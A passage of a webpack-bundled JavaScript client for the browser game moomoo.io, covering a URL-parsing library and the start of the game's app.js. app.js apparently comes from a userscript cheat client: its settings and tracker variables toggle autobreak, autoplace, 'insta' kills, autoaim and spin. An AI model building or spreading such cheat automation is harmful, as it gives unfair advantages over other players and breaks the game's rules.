                        this.host = rest.slice(0, hostEnd);
                        rest = rest.slice(hostEnd);

                        // pull out port.
                        this.parseHost();

                        // we've indicated that there is a hostname,
                        // so even if it's empty, it has to be present.
                        this.hostname = this.hostname || '';

                        // if hostname begins with [ and ends with ]
                        // assume that it's an IPv6 address.
                        var ipv6Hostname = this.hostname[0] === '[' &&
                            this.hostname[this.hostname.length - 1] === ']';

                        // validate a little.
                        if (!ipv6Hostname) {
                            var hostparts = this.hostname.split(/\./);
                            for (var i = 0, l = hostparts.length; i < l; i++) {
                                var part = hostparts[i];
                                if (!part) continue;
                                if (!part.match(hostnamePartPattern)) {
                                    var newpart = '';
                                    for (var j = 0, k = part.length; j < k; j++) {
                                        if (part.charCodeAt(j) > 127) {
                                            // we replace non-ASCII char with a temporary placeholder
                                            // we need this to make sure size of hostname is not
                                            // broken by replacing non-ASCII by nothing
                                            newpart += 'x';
                                        } else {
                                            newpart += part[j];
                                        }
                                    }
                                    // we test again with ASCII char only
                                    if (!newpart.match(hostnamePartPattern)) {
                                        var validParts = hostparts.slice(0, i);
                                        var notHost = hostparts.slice(i + 1);
                                        var bit = part.match(hostnamePartStart);
                                        if (bit) {
                                            validParts.push(bit[1]);
                                            notHost.unshift(bit[2]);
                                        }
                                        if (notHost.length) {
                                            rest = '/' + notHost.join('.') + rest;
                                        }
                                        this.hostname = validParts.join('.');
                                        break;
                                    }
                                }
                            }
                        }

                        if (this.hostname.length > hostnameMaxLen) {
                            this.hostname = '';
                        } else {
                            // hostnames are always lower case.
                            this.hostname = this.hostname.toLowerCase();
                        }

                        if (!ipv6Hostname) {
                            // IDNA Support: Returns a punycoded representation of "domain".
                            // It only converts parts of the domain name that
                            // have non-ASCII characters, i.e. it doesn't matter if
                            // you call it with a domain that already is ASCII-only.
                            this.hostname = punycode.toASCII(this.hostname);
                        }

                        var p = this.port ? ':' + this.port : '';
                        var h = this.hostname || '';
                        this.host = h + p;
                        this.href += this.host;

                        // strip [ and ] from the hostname
                        // the host field still retains them, though
                        if (ipv6Hostname) {
                            this.hostname = this.hostname.substr(1, this.hostname.length - 2);
                            if (rest[0] !== '/') {
                                rest = '/' + rest;
                            }
                        }
                    }

                    // now rest is set to the post-host stuff.
                    // chop off any delim chars.
                    if (!unsafeProtocol[lowerProto]) {

                        // First, make 100% sure that any "autoEscape" chars get
                        // escaped, even if encodeURIComponent doesn't think they
                        // need to be.
                        for (var i = 0, l = autoEscape.length; i < l; i++) {
                            var ae = autoEscape[i];
                            if (rest.indexOf(ae) === -1)
                                continue;
                            var esc = encodeURIComponent(ae);
                            if (esc === ae) {
                                esc = escape(ae);
                            }
                            rest = rest.split(ae).join(esc);
                        }
                    }


                    // chop off from the tail first.
                    var hash = rest.indexOf('#');
                    if (hash !== -1) {
                        // got a fragment string.
                        this.hash = rest.substr(hash);
                        rest = rest.slice(0, hash);
                    }
                    var qm = rest.indexOf('?');
                    if (qm !== -1) {
                        this.search = rest.substr(qm);
                        this.query = rest.substr(qm + 1);
                        if (parseQueryString) {
                            this.query = querystring.parse(this.query);
                        }
                        rest = rest.slice(0, qm);
                    } else if (parseQueryString) {
                        // no query string, but parseQueryString still requested
                        this.search = '';
                        this.query = {};
                    }
                    if (rest) this.pathname = rest;
                    if (slashedProtocol[lowerProto] &&
                        this.hostname && !this.pathname) {
                        this.pathname = '/';
                    }

                    //to support http.request
                    if (this.pathname || this.search) {
                        var p = this.pathname || '';
                        var s = this.search || '';
                        this.path = p + s;
                    }

                    // finally, reconstruct the href based on what has been validated.
                    this.href = this.format();
                    return this;
                };

                // format a parsed object into a url string
                function urlFormat(obj) {
                    // ensure it's an object, and not a string url.
                    // If it's an obj, this is a no-op.
                    // this way, you can call url_format() on strings
                    // to clean up potentially wonky urls.
                    if (util.isString(obj)) obj = urlParse(obj);
                    if (!(obj instanceof Url)) return Url.prototype.format.call(obj);
                    return obj.format();
                }

                Url.prototype.format = function() {
                    var auth = this.auth || '';
                    if (auth) {
                        auth = encodeURIComponent(auth);
                        auth = auth.replace(/%3A/i, ':');
                        auth += '@';
                    }

                    var protocol = this.protocol || '',
                        pathname = this.pathname || '',
                        hash = this.hash || '',
                        host = false,
                        query = '';

                    if (this.host) {
                        host = auth + this.host;
                    } else if (this.hostname) {
                        host = auth + (this.hostname.indexOf(':') === -1 ?
                                       this.hostname :
                                       '[' + this.hostname + ']');
                        if (this.port) {
                            host += ':' + this.port;
                        }
                    }

                    if (this.query &&
                        util.isObject(this.query) &&
                        Object.keys(this.query).length) {
                        query = querystring.stringify(this.query);
                    }

                    var search = this.search || (query && ('?' + query)) || '';

                    if (protocol && protocol.substr(-1) !== ':') protocol += ':';

                    // only the slashedProtocols get the //.  Not mailto:, xmpp:, etc.
                    // unless they had them to begin with.
                    if (this.slashes ||
                        (!protocol || slashedProtocol[protocol]) && host !== false) {
                        host = '//' + (host || '');
                        if (pathname && pathname.charAt(0) !== '/') pathname = '/' + pathname;
                    } else if (!host) {
                        host = '';
                    }

                    if (hash && hash.charAt(0) !== '#') hash = '#' + hash;
                    if (search && search.charAt(0) !== '?') search = '?' + search;

                    pathname = pathname.replace(/[?#]/g, function(match) {
                        return encodeURIComponent(match);
                    });
                    search = search.replace('#', '%23');

                    return protocol + host + pathname + search + hash;
                };

                function urlResolve(source, relative) {
                    return urlParse(source, false, true).resolve(relative);
                }

                Url.prototype.resolve = function(relative) {
                    return this.resolveObject(urlParse(relative, false, true)).format();
                };

                function urlResolveObject(source, relative) {
                    if (!source) return relative;
                    return urlParse(source, false, true).resolveObject(relative);
                }

                Url.prototype.resolveObject = function(relative) {
                    if (util.isString(relative)) {
                        var rel = new Url();
                        rel.parse(relative, false, true);
                        relative = rel;
                    }

                    var result = new Url();
                    var tkeys = Object.keys(this);
                    for (var tk = 0; tk < tkeys.length; tk++) {
                        var tkey = tkeys[tk];
                        result[tkey] = this[tkey];
                    }

                    // hash is always overridden, no matter what.
                    // even href="" will remove it.
                    result.hash = relative.hash;

                    // if the relative url is empty, then there's nothing left to do here.
                    if (relative.href === '') {
                        result.href = result.format();
                        return result;
                    }

                    // hrefs like //foo/bar always cut to the protocol.
                    if (relative.slashes && !relative.protocol) {
                        // take everything except the protocol from relative
                        var rkeys = Object.keys(relative);
                        for (var rk = 0; rk < rkeys.length; rk++) {
                            var rkey = rkeys[rk];
                            if (rkey !== 'protocol')
                                result[rkey] = relative[rkey];
                        }

                        //urlParse appends trailing / to urls like http://www.example.com
                        if (slashedProtocol[result.protocol] &&
                            result.hostname && !result.pathname) {
                            result.path = result.pathname = '/';
                        }

                        result.href = result.format();
                        return result;
                    }

                    if (relative.protocol && relative.protocol !== result.protocol) {
                        // if it's a known url protocol, then changing
                        // the protocol does weird things
                        // first, if it's not file:, then we MUST have a host,
                        // and if there was a path
                        // to begin with, then we MUST have a path.
                        // if it is file:, then the host is dropped,
                        // because that's known to be hostless.
                        // anything else is assumed to be absolute.
                        if (!slashedProtocol[relative.protocol]) {
                            var keys = Object.keys(relative);
                            for (var v = 0; v < keys.length; v++) {
                                var k = keys[v];
                                result[k] = relative[k];
                            }
                            result.href = result.format();
                            return result;
                        }

                        result.protocol = relative.protocol;
                        if (!relative.host && !hostlessProtocol[relative.protocol]) {
                            var relPath = (relative.pathname || '').split('/');
                            while (relPath.length && !(relative.host = relPath.shift()));
                            if (!relative.host) relative.host = '';
                            if (!relative.hostname) relative.hostname = '';
                            if (relPath[0] !== '') relPath.unshift('');
                            if (relPath.length < 2) relPath.unshift('');
                            result.pathname = relPath.join('/');
                        } else {
                            result.pathname = relative.pathname;
                        }
                        result.search = relative.search;
                        result.query = relative.query;
                        result.host = relative.host || '';
                        result.auth = relative.auth;
                        result.hostname = relative.hostname || relative.host;
                        result.port = relative.port;
                        // to support http.request
                        if (result.pathname || result.search) {
                            var p = result.pathname || '';
                            var s = result.search || '';
                            result.path = p + s;
                        }
                        result.slashes = result.slashes || relative.slashes;
                        result.href = result.format();
                        return result;
                    }

                    var isSourceAbs = (result.pathname && result.pathname.charAt(0) === '/'),
                        isRelAbs = (
                            relative.host ||
                            relative.pathname && relative.pathname.charAt(0) === '/'
                        ),
                        mustEndAbs = (isRelAbs || isSourceAbs ||
                                      (result.host && relative.pathname)),
                        removeAllDots = mustEndAbs,
                        srcPath = result.pathname && result.pathname.split('/') || [],
                        relPath = relative.pathname && relative.pathname.split('/') || [],
                        psychotic = result.protocol && !slashedProtocol[result.protocol];

                    // if the url is a non-slashed url, then relative
                    // links like ../.. should be able
                    // to crawl up to the hostname, as well.  This is strange.
                    // result.protocol has already been set by now.
                    // Later on, put the first path part into the host field.
                    if (psychotic) {
                        result.hostname = '';
                        result.port = null;
                        if (result.host) {
                            if (srcPath[0] === '') srcPath[0] = result.host;
                            else srcPath.unshift(result.host);
                        }
                        result.host = '';
                        if (relative.protocol) {
                            relative.hostname = null;
                            relative.port = null;
                            if (relative.host) {
                                if (relPath[0] === '') relPath[0] = relative.host;
                                else relPath.unshift(relative.host);
                            }
                            relative.host = null;
                        }
                        mustEndAbs = mustEndAbs && (relPath[0] === '' || srcPath[0] === '');
                    }

                    if (isRelAbs) {
                        // it's absolute.
                        result.host = (relative.host || relative.host === '') ?
                            relative.host : result.host;
                        result.hostname = (relative.hostname || relative.hostname === '') ?
                            relative.hostname : result.hostname;
                        result.search = relative.search;
                        result.query = relative.query;
                        srcPath = relPath;
                        // fall through to the dot-handling below.
                    } else if (relPath.length) {
                        // it's relative
                        // throw away the existing file, and take the new path instead.
                        if (!srcPath) srcPath = [];
                        srcPath.pop();
                        srcPath = srcPath.concat(relPath);
                        result.search = relative.search;
                        result.query = relative.query;
                    } else if (!util.isNullOrUndefined(relative.search)) {
                        // just pull out the search.
                        // like href='?foo'.
                        // Put this after the other two cases because it simplifies the booleans
                        if (psychotic) {
                            result.hostname = result.host = srcPath.shift();
                            //occationaly the auth can get stuck only in host
                            //this especially happens in cases like
                            //url.resolveObject('mailto:local1@domain1', 'local2@domain2')
                            var authInHost = result.host && result.host.indexOf('@') > 0 ?
                                result.host.split('@') : false;
                            if (authInHost) {
                                result.auth = authInHost.shift();
                                result.host = result.hostname = authInHost.shift();
                            }
                        }
                        result.search = relative.search;
                        result.query = relative.query;
                        //to support http.request
                        if (!util.isNull(result.pathname) || !util.isNull(result.search)) {
                            result.path = (result.pathname ? result.pathname : '') +
                                (result.search ? result.search : '');
                        }
                        result.href = result.format();
                        return result;
                    }

                    if (!srcPath.length) {
                        // no path at all.  easy.
                        // we've already handled the other stuff above.
                        result.pathname = null;
                        //to support http.request
                        if (result.search) {
                            result.path = '/' + result.search;
                        } else {
                            result.path = null;
                        }
                        result.href = result.format();
                        return result;
                    }

                    // if a url ENDs in . or .., then it must get a trailing slash.
                    // however, if it ends in anything else non-slashy,
                    // then it must NOT get a trailing slash.
                    var last = srcPath.slice(-1)[0];
                    var hasTrailingSlash = (
                        (result.host || relative.host || srcPath.length > 1) &&
                        (last === '.' || last === '..') || last === '');

                    // strip single dots, resolve double dots to parent dir
                    // if the path tries to go above the root, `up` ends up > 0
                    var up = 0;
                    for (var i = srcPath.length; i >= 0; i--) {
                        last = srcPath[i];
                        if (last === '.') {
                            srcPath.splice(i, 1);
                        } else if (last === '..') {
                            srcPath.splice(i, 1);
                            up++;
                        } else if (up) {
                            srcPath.splice(i, 1);
                            up--;
                        }
                    }

                    // if the path is allowed to go above the root, restore leading ..s
                    if (!mustEndAbs && !removeAllDots) {
                        for (; up--; up) {
                            srcPath.unshift('..');
                        }
                    }

                    if (mustEndAbs && srcPath[0] !== '' &&
                        (!srcPath[0] || srcPath[0].charAt(0) !== '/')) {
                        srcPath.unshift('');
                    }

                    if (hasTrailingSlash && (srcPath.join('/').substr(-1) !== '/')) {
                        srcPath.push('');
                    }

                    var isAbsolute = srcPath[0] === '' ||
                        (srcPath[0] && srcPath[0].charAt(0) === '/');

                    // put the host back
                    if (psychotic) {
                        result.hostname = result.host = isAbsolute ? '' :
                        srcPath.length ? srcPath.shift() : '';
                        //occationaly the auth can get stuck only in host
                        //this especially happens in cases like
                        //url.resolveObject('mailto:local1@domain1', 'local2@domain2')
                        var authInHost = result.host && result.host.indexOf('@') > 0 ?
                            result.host.split('@') : false;
                        if (authInHost) {
                            result.auth = authInHost.shift();
                            result.host = result.hostname = authInHost.shift();
                        }
                    }

                    mustEndAbs = mustEndAbs || (result.host && srcPath.length);

                    if (mustEndAbs && !isAbsolute) {
                        srcPath.unshift('');
                    }

                    if (!srcPath.length) {
                        result.pathname = null;
                        result.path = null;
                    } else {
                        result.pathname = srcPath.join('/');
                    }

                    //to support request.http
                    if (!util.isNull(result.pathname) || !util.isNull(result.search)) {
                        result.path = (result.pathname ? result.pathname : '') +
                            (result.search ? result.search : '');
                    }
                    result.auth = relative.auth || result.auth;
                    result.slashes = result.slashes || relative.slashes;
                    result.href = result.format();
                    return result;
                };

                Url.prototype.parseHost = function() {
                    var host = this.host;
                    var port = portPattern.exec(host);
                    if (port) {
                        port = port[0];
                        if (port !== ':') {
                            this.port = port.substr(1);
                        }
                        host = host.substr(0, host.length - port.length);
                    }
                    if (host) this.hostname = host;
                };


                /***/ }),

            /***/ "./node_modules/url/util.js":
            /*!**********************************!*\
  !*** ./node_modules/url/util.js ***!
  \**********************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";


                module.exports = {
                    isString: function(arg) {
                        return typeof(arg) === 'string';
                    },
                    isObject: function(arg) {
                        return typeof(arg) === 'object' && arg !== null;
                    },
                    isNull: function(arg) {
                        return arg === null;
                    },
                    isNullOrUndefined: function(arg) {
                        return arg == null;
                    }
                };


                /***/ }),

            /***/ "./node_modules/webpack/buildin/global.js":
            /*!***********************************!*\
  !*** (webpack)/buildin/global.js ***!
  \***********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                var g;

                // This works in non-strict mode
                g = (function() {
                    return this;
                })();

                try {
                    // This works if eval is allowed (see CSP)
                    g = g || new Function("return this")();
                } catch (e) {
                    // This works if the window reference is available
                    if (typeof window === "object") g = window;
                }

                // g can still be undefined, but nothing to do about it...
                // We return undefined, instead of nothing here, so it's
                // easier to handle this case. if(!global) { ...}

                module.exports = g;


                /***/ }),

            /***/ "./node_modules/webpack/buildin/module.js":
            /*!***********************************!*\
  !*** (webpack)/buildin/module.js ***!
  \***********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = function(module) {
                    if (!module.webpackPolyfill) {
                        module.deprecate = function() {};
                        module.paths = [];
                        // module.parent = undefined by default
                        if (!module.children) module.children = [];
                        Object.defineProperty(module, "loaded", {
                            enumerable: true,
                            get: function() {
                                return module.l;
                            }
                        });
                        Object.defineProperty(module, "id", {
                            enumerable: true,
                            get: function() {
                                return module.i;
                            }
                        });
                        module.webpackPolyfill = 1;
                    }
                    return module;
                };


                /***/ }),

            /***/ "./src/js/app.js":
            /*!***********************!*\
  !*** ./src/js/app.js ***!
  \***********************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";


                window.loadedScript = true;

                // ENV:
                var isProd = location.hostname !== "127.0.0.1" && !location.hostname.startsWith("192.168.");

                // IMPORTS:
                __webpack_require__(/*! ./libs/modernizr.js */ "./src/js/libs/modernizr.js");
                var io = __webpack_require__(/*! ./libs/io-client.js */ "./src/js/libs/io-client.js");
                var UTILS = __webpack_require__(/*! ./libs/utils.js */ "./src/js/libs/utils.js");
                var animText = __webpack_require__(/*! ./libs/animText.js */ "./src/js/libs/animText.js");
                var config = __webpack_require__(/*! ./config.js */ "./src/js/config.js");
                var GameObject = __webpack_require__(/*! ./data/gameObject.js */ "./src/js/data/gameObject.js");
                var items = __webpack_require__(/*! ./data/items.js */ "./src/js/data/items.js");
                var MapManager = __webpack_require__(/*! ./data/mapManager.js */ "./src/js/data/mapManager.js");
                var ObjectManager = __webpack_require__(/*! ./data/objectManager.js */ "./src/js/data/objectManager.js");
                var Player = __webpack_require__(/*! ./data/player.js */ "./src/js/data/player.js");
                var store = __webpack_require__(/*! ./data/store.js */ "./src/js/data/store.js");
                var Projectile = __webpack_require__(/*! ./data/projectile.js */ "./src/js/data/projectile.js");
                var ProjectileManager = __webpack_require__(/*! ./data/projectileManager.js */ "./src/js/data/projectileManager.js");
                var SoundManager = __webpack_require__(/*! ./libs/soundManager.js */ "./src/js/libs/soundManager.js").obj;
                var textManager = new animText.TextManager();
                follmoo()
                const queueTick = [];
                var primaryReload = [];
                var primaryWeapons = []
                var primaryWeaponVariant = [];
                var currentWeapon = []
                var secondaryWeaponVariant = [];
                var secondaryWeapons = []
                var lastPrimaryReload = [];
                var secondaryReload = [];
                var turretReload = [];
                var spikeTypes = [];
                var auI = false;
                var atM = false;
                var autobreaker = {}
                let close = []

                var tracker = {
                    moveDir: undefined,
                    enemies: 0,
                    insta: false,
                    spamming: false,
                    autoaiming: false,
                    emp: false,
                    soldier: false,
                    antibull: false,
                    combatclick: false,
                    bulltick: 0,
                    intrap: 0,
                    trapDir: NaN,
                    hitDetect: false,
                    potentialNbl: false,
                    hitting: false,
                    nearestDist: 0,
                    lastNearestDist: 0,
                    lastPrimaryReload: [],
                    inRange : [],
                    otSoldier : false,
                    lastPos: [],
                    lastTrapStatus: false,
                    trapSoldier: false,
                    spamToInsta: false,
                    maxScreenHeight: 1920,
                    maxScreenWidth: 1080,
                    syncSoldier: false,
                    lastBuildings: [],
                    currentBuildings: [],
                    otMove: 0,
                    otMove2: false,
                    hitTank: false,
                    bullTick: undefined,
                    thisTickDamage: [],
                    lastAb: false,
                    allSyncPot: [],

                }
                var settings = {
                    autobreak: true,
                    autoplace: true,
                    autoreplace: true,
                    insta: "WR",
                    autoreload: true,
                    getruby: false,
                    spin: false,
                    ae: false,
                    SP: function() {
                        settings.spin = !settings.spin
                    },
                    ARP: function() {
                        settings.autoreplace = !settings.autoreplace
                    },
                    GR: function() {
                        settings.getruby = !settings.getruby
                    },
                    AB: function() {
                        settings.autobreak = !settings.autobreak
                    },
                    AP: function() {
                        settings.autoplace = !settings.autoplace
                    },
                    IT: function() {
                        settings.insta = (settings.insta == "WR" ? "manual" : "WR")
                    },
                    AR: function() {
                        settings.autoreload = !settings.autoreload
                    },
                    AE: function() {
                        settings.ae = !settings.ae
                        maxScreenWidth = 1920
                        maxScreenHeight = 1080
                        resize()
                    },
                }

                // VULTR:
                var VultrClient = __webpack_require__(/*! ../../vultr/VultrClient.js */ "./vultr/VultrClient.js");
                var vultrClient = new VultrClient("moomoo.io", 3000, config.maxPlayers, 5, false);
                vultrClient.debugLog = false;

                // URL PARAMS:
                function getParameterByName(name, url) {
                    if (!url) {
                        url = window.location.href;
                    }
                    name = name.replace(/[\[\]]/g, "\\$&");
                    var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
                        results = regex.exec(url);
                    if (!results) return null;
                    if (!results[2]) return '';
                    return decodeURIComponent(results[2].replace(/\+/g, " "));
                }

                // SOCKET & CONNECTION:
                var connected = false;
                var startedConnecting = false;
                function connectSocketIfReady() {
                    // MAKE SURE IT'S READY:
                    if (!didLoad || !captchaReady) return;
                    startedConnecting = true;

                    // GET TOKEN:
                    if (isProd) {
                        unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {action: "homepage"}).then(function(token) {
                            // CONNECT SOCKET:
                            connectSocket(token);
                        });
                    } else {
                        // CONNECT SOCKET:
                        connectSocket(null);
                    }
                }
                function connectSocket(token) {
                    // CONNECT SOCKET:
                    vultrClient.start(function(address, port, gameIndex) {
                        // CREATE ADDRESS:
                        var protocol = isProd ? "wss" : "ws";
                        var wsAddress = protocol + "://" + address + ":" + 8008 + "/?gameIndex=" + gameIndex;
                        if (token) wsAddress += "&token=" + encodeURIComponent(token);

                        // CONNECT:
                        io.connect(wsAddress, function(error) {
                            pingSocket();
                            setInterval(() => pingSocket(), 2500);

                            if (error) {
                                disconnect(error);
                            } else {
                                connected = true;
                                startGame();
                            }
                        }, {
                            "id": setInitData,
                            "d": disconnect,
                            "1": setupGame,
                            "2": addPlayer,
                            "4": removePlayer,
                            "5": updateLeaderboard,
                            "6": loadGameObject,
                            "a": loadAI,
                            "aa": animateAI,
                            "7": gatherAnimation,
                            "8": wiggleGameObject,
                            "sp": shootTurret,
                            "9": updatePlayerValue,
                            "h": updateHealth,
                            "11": killPlayer,
                            "12": killObject,
                            "13": killObjects,
                            "14": updateItemCounts,
                            "15": updateAge,
                            "16": updateUpgrades,
                            "17": updateItems,
                            "18": addProjectile,
                            "19": remProjectile,
                            "20": serverShutdownNotice,
                            "ac": addAlliance,
                            "ad": deleteAlliance,
                            "an": allianceNotification,
                            "st": setPlayerTeam,
                            "sa": setAlliancePlayers,
                            "us": updateStoreItems,
                            "ch": receiveChat,
                            "mm": updateMinimap,
                            "t": showText,
                            "p": pingMap,
                            "33": updatePlayers,
                            "pp": pingSocketResponse
                        });

                        // SERVER LIST:
                        setupServerStatus();

                        // CHECK AGAIN AFTER DELAY:
                        setTimeout(() => updateServerList(), 3 * 1000);
                    }, function(error) {
                        console.error("Vultr error:", error);
                        alert("Error:\n" + error);
                        disconnect("disconnected");
                    });
                }
                function socketReady() {
                    return (io.connected);
                }
                function joinParty() {
                    var currentKey = serverBrowser.value;
                    var key = prompt("party key", currentKey);
                    if (key) {
                        window.onbeforeunload = undefined; // Don't ask to leave
                        window.location.href = "/?server=" + key;
                    }
                }/**/

                // SOUND:
                var Sound = new SoundManager(config, UTILS);
                function toggleSound(active) {
                    if (active == undefined)
                        active = !Sound.active;
                    Sound.active = active;
                    //Sound.toggleMute("menu", !active);
                    saveVal("moo_moosic", active?1:0);
                }

                // MATHS:
                var mathPI = Math.PI;
                var mathPI2 = mathPI * 2;
                var mathPI3 = mathPI * 3;
                Math.lerpAngle = function (value1, value2, amount) {
                    var difference = Math.abs(value2 - value1);
                    if (difference > mathPI) {
                        if (value1 > value2) {
                            value2 += mathPI2;
                        } else {
                            value1 += mathPI2;
                        }
                    }
                    var value = (value2 + ((value1 - value2) * amount));
                    if (value >= 0 && value <= mathPI2)
                        return value;
                    return (value % mathPI2);
                }

                // REOUNDED RECTANGLE:
                CanvasRenderingContext2D.prototype.roundRect = function (x, y, w, h, r) {
                    if (w < 2 * r) r = w / 2;
                    if (h < 2 * r) r = h / 2;
                    if (r < 0)
                        r = 0;
                    this.beginPath();
                    this.moveTo(x+r, y);
                    this.arcTo(x+w, y, x+w, y+h, r);
                    this.arcTo(x+w, y+h, x, y+h, r);
                    this.arcTo(x, y+h, x, y, r);
                    this.arcTo(x, y, x+w, y, r);
                    this.closePath();
                    return this;
                }

                // STORAGE:
                var canStore;
                if (typeof(Storage) !== "undefined") {
                    canStore = true;
                }
                function saveVal(name, val) {
                    if (canStore)
                        localStorage.setItem(name, val);
                }
                function deleteVal(name) {
                    if (canStore)
                        localStorage.removeItem(name);
                }
                function getSavedVal(name) {
                    if (canStore)
                        return localStorage.getItem(name);
                    return null;
                }

                // TERMS:
                if (!getSavedVal("consent")) consentBlock.style.display = "block";
                window.checkTerms = function(yes) {
                    if (yes) {
                        consentBlock.style.display = "none";
                        saveVal("consent", 1);
                    } else $("#consentShake").effect("shake");
                };

                // GLOBAL VALUES:
                var moofoll = getSavedVal("moofoll");
                function follmoo() {
                    if (!moofoll) {
                        moofoll = true;
                        saveVal("moofoll", 1);
                    }
                }
                var useNativeResolution;
                var showPing;
                var playSound;
                var pixelDensity = 1;
                var delta, now, lastSent;
                var lastUpdate = Date.now();
                var keys, attackState;
                var ais = [];
                var players = [];
                var alliances = [];
                var gameObjects = [];
                var projectiles = [];
                var projectileManager = new ProjectileManager(Projectile, projectiles, players, ais, objectManager, items, config, UTILS);
                var AiManager = __webpack_require__(/*! ./data/aiManager.js */ "./src/js/data/aiManager.js");
                var AI = __webpack_require__(/*! ./data/ai.js */ "./src/js/data/ai.js");
                var aiManager = new AiManager(ais, AI, players, items, null, config, UTILS);
                var player, playerSID, tmpObj;
                var waterMult = 1;
                var waterPlus = 0;
                var mouseX = 0;
                var mouseY = 0;
                var controllingTouch = {
                    id: -1,
                    startX: 0,
                    startY: 0,
                    currentX: 0,
                    currentY: 0
                };
                var attackingTouch = {
                    id: -1,
                    startX: 0,
                    startY: 0,
                    currentX: 0,
                    currentY: 0
                };
                var camX, camY;
                var tmpDir;
                var skinColor = 0;
                var maxScreenWidth = config.maxScreenWidth;
                var maxScreenHeight = config.maxScreenHeight;
                var screenWidth, screenHeight;
                var inGame = false;
                var adContainer = document.getElementById("ad-container");
                var mainMenu = document.getElementById("mainMenu");
                var enterGameButton = document.getElementById("enterGame");
                var promoImageButton = document.getElementById("promoImg");
                var partyButton = document.getElementById("partyButton");
                var joinPartyButton = document.getElementById("joinPartyButton");
                var settingsButton = document.getElementById("settingsButton");
                var settingsButtonTitle = settingsButton.getElementsByTagName("span")[0];
                var allianceButton = document.getElementById("allianceButton");
                var storeButton = document.getElementById("storeButton");
                var chatButton = document.getElementById("chatButton");
                var gameCanvas = document.getElementById("gameCanvas");
                var mainContext = gameCanvas.getContext("2d");
                var serverBrowser = document.getElementById("serverBrowser");
                var nativeResolutionCheckbox = document.getElementById("nativeResolution");
                var showPingCheckbox = document.getElementById("showPing");
                var playMusicCheckbox = document.getElementById("playMusic");
                var shutdownDisplay = document.getElementById("shutdownDisplay");
                var menuCardHolder = document.getElementById("menuCardHolder");
                var guideCard = document.getElementById("guideCard");
                var loadingText = document.getElementById("loadingText");
                var gameUI = document.getElementById("gameUI");
                var actionBar = document.getElementById("actionBar");
                var scoreDisplay = document.getElementById("scoreDisplay");
                var foodDisplay = document.getElementById("foodDisplay");
                var woodDisplay = document.getElementById("woodDisplay");
                var stoneDisplay = document.getElementById("stoneDisplay");
                var killCounter = document.getElementById("killCounter");
                var leaderboardData = document.getElementById("leaderboardData");
                var nameInput = document.getElementById("nameInput");
                var itemInfoHolder = document.getElementById("itemInfoHolder");
                var ageText = document.getElementById("ageText");
                var ageBarBody = document.getElementById("ageBarBody");
                var upgradeHolder = document.getElementById("upgradeHolder");
                var upgradeCounter = document.getElementById("upgradeCounter");
                var allianceMenu = document.getElementById("allianceMenu");
                var allianceHolder = document.getElementById("allianceHolder");
                var allianceManager = document.getElementById("allianceManager");
                var mapDisplay = document.getElementById("mapDisplay");
                var diedText = document.getElementById("diedText");
                var skinColorHolder = document.getElementById("skinColorHolder");
                var mapContext = mapDisplay.getContext("2d");
                mapDisplay.width = 300;
                mapDisplay.height = 300;
                var storeMenu = document.getElementById("storeMenu");
                var storeHolder = document.getElementById("storeHolder");
                var noticationDisplay = document.getElementById("noticationDisplay");
                var hats = store.hats;
                var accessories = store.accessories;
                var objectManager = new ObjectManager(GameObject, gameObjects, UTILS, config);
                var outlineColor = "#525252";
                var darkOutlineColor = "#3d3f42";
                var outlineWidth = 5.5;
                const pingDisplay = document.getElementById("pingDisplay");
                document.body.append(pingDisplay);



                // SET INIT DATA:
                function setInitData(data) {
                    alliances = data.teams;
                }

                // YOUTUBERS:
                var featuredYoutuber = document.getElementById('featuredYoutube');
                var youtuberList = [{
                    name: "Corrupt X",
                    link: "https://www.youtube.com/channel/UC0UH2LfQvBSeH24bmtbmITw"
                }, {
                    name: "Tweak Big",
                    link: "https://www.youtube.com/channel/UCbwvzJ38AndDTkoX8sD9YOw"
                }, {
                    name: "Arena Closer",
                    link: "https://www.youtube.com/channel/UCazucVSJqW-kiHMIhQhD-QQ"
                }, {
                    name: "Godenot",
                    link: "https://www.youtube.com/user/SirGodenot"
                }, {
                    name: "RajNoobTV",
                    link: "https://www.youtube.com/channel/UCVLo9brXBWrCttMaGzvm0-Q"
                }, {
                    name: "TomNotTom",
                    link: "https://www.youtube.com/channel/UC7z97RgHFJRcv2niXgArBDw"
                }, {
                    name: "Nation",
                    link: "https://www.youtube.com/channel/UCSl-MBn3qzjrIvLNESQRk-g"
                }, {
                    name: "Pidyohago",
                    link: "https://www.youtube.com/channel/UC04p8Mg8nDaDx04A9is2B8Q"
                }, {
                    name: "Enigma",
                    link: "https://www.youtube.com/channel/UC5HhLbs3sReHo8Bb9NDdFrg"
                }, {
                    name: "Bauer",
                    link: "https://www.youtube.com/channel/UCwU2TbJx3xTSlPqg-Ix3R1g"
                }, {
                    name: "iStealth",
                    link: "https://www.youtube.com/channel/UCGrvlEOsQFViZbyFDE6t69A"
                }, {
                    name: "SICKmania",
                    link: "https://www.youtube.com/channel/UCvVI98ezn4TpX5wDMZjMa3g"
                }, {
                    name: "LightThief",
                    link: "https://www.youtube.com/channel/UCj6C_tiDeATiKd3GX127XoQ"
                }, {
                    name: "Fortish",
                    link: "https://www.youtube.com/channel/UCou6CLU-szZA3Tb340TB9_Q"
                }, {
                    name: "巧克力",
                    link: "https://www.youtube.com/channel/UCgL6J6oL8F69vm-GcPScmwg"
                }, {
                    name: "i Febag",
                    link: "https://www.youtube.com/channel/UCiU6WZwiKbsnt5xmwr0OFbg"
                }, {
                    name: "GoneGaming",
                    link: "https://www.youtube.com/channel/UCOcQthRanYcwYY0XVyVeK0g"
                }];
                var tmpYoutuber = youtuberList[UTILS.randInt(0, youtuberList.length - 1)];
                featuredYoutuber.innerHTML = "<a target='_blank' class='ytLink' href='" + tmpYoutuber.link + "'><i class='material-icons' style='vertical-align: top;'>&#xE064;</i> " + tmpYoutuber.name + "</a>";

                // ON LOAD:
                var inWindow = true;
                var didLoad = false;
                var captchaReady = false;
                window.onblur = function() {
                    inWindow = false;
                };
                window.onfocus = function() {
                    inWindow = true;
                    if (player && player.alive) {
                        resetMoveDir();
                    }
                };
                hoistedStart = function() {
                    didLoad = true;
                    captchaReady = true;
                    connectSocketIfReady();

                    setTimeout(function() {
                        if (!startedConnecting) {
